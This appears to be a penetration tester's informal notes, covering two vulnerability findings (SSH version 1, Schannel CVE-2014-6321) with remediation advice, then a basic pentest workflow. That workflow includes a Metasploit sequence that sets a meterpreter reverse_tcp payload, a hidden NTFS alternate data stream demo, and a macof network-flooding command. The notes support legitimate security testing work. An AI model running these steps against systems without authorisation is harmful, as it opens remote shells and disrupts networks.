SSH Protocol Version 1 Session Key Retrieval

Description:
The affected host support the use of SSH protocol version 1.33 and/or 1.5 which is associated to cryptography flaws.

Risk Level:
Medium

Implication:
An attacker could leverage this issue to decipher the encrypted data to obtain sensitive information.

Recommendation:
The affected host should be configured to disable the support SSH version 1

Manual verification:
command: ssh -1 ipaddr

Schannel Remote Code Execution (CVE-2014-6321)

Issue:
Schannel Remote Code Execution (CVE-2014-6321)
The affected host is vulnerable to remote code execution  due to improper processing of packets by the Secure Channel (Schannel) security package.

Risk Level:
High

Implication:
An attacker can exploit this issue by sending specially crafted packets to a Windows server and gain unauthorised access over the server.

Recommendation:
Microsoft has released a set of patches for Windows 2008. The affected host should be patch to the latest security update  https://technet.microsoft.com/en-us/library/security/ms14-066.

How to do manual verification:
Click on the link below:
https://github.com/anexia-it/winshock-test

How to install kali on vmware and make it full screen _vmware tools

Click the link below:
https://www.youtube.com/watch?v=YpGhtpI6TCc

Process of Pentest

Information Gathering
----------------------------
DNS Zone Transfer
Step 1: nslookup (target ip/domain name)
Step 2: kali linux->dig axfr @ipaddr/domain name

Trace Route
Step 1: traceroute ipaddr

Port Scanning
Step 1: nmap ipaddr

Vulnerability Scanning
------------------------------
Step 1: Nessus to scan for vulnerability

Exploitation
-------------------
Step 1: Kali Linux: msfconsole (Metasploit)
Step 2: Search library for vulnerability -> search (vulnerability)
Step 3: Choose Weapon -> use (path of the library)
Step 4: Communication between host -> set payload windows/meterpreter/reverse_tcp
Step 5: To show all settings -> show options
Step 6: set target ip address -> set RHOST ip addr
Step 7: set your host ip address -> set LHOST ipaddr
Step 8: to perform exploitation -> run/exploit

Alternate Data Stream interrogation tool

First
Create a txt file with command: notepad.exe seeme.txt
View the content of the txt file: type seeme.txt (showing output)

Second
Create a txt file with command: notepad.exe seeme.txt:hidden.txt
You will not see the file by typing type seeme.txt (no output)
The only thing you can see it is type: notepad seeme.txt:hidden.txt

Information Gathering - NetDiscover

Using Kali Linux
-------------------------
netdiscover -i eth0 => to discover what devices on the network

macof -
i eth0 -n 10 =>flood the network 10 times

Output for netdiscover

Identify & Troubleshoot Unknown Devices in Windows

http://www.thewindowsclub.com/identify-troubleshoot-unknown-devices-in-windows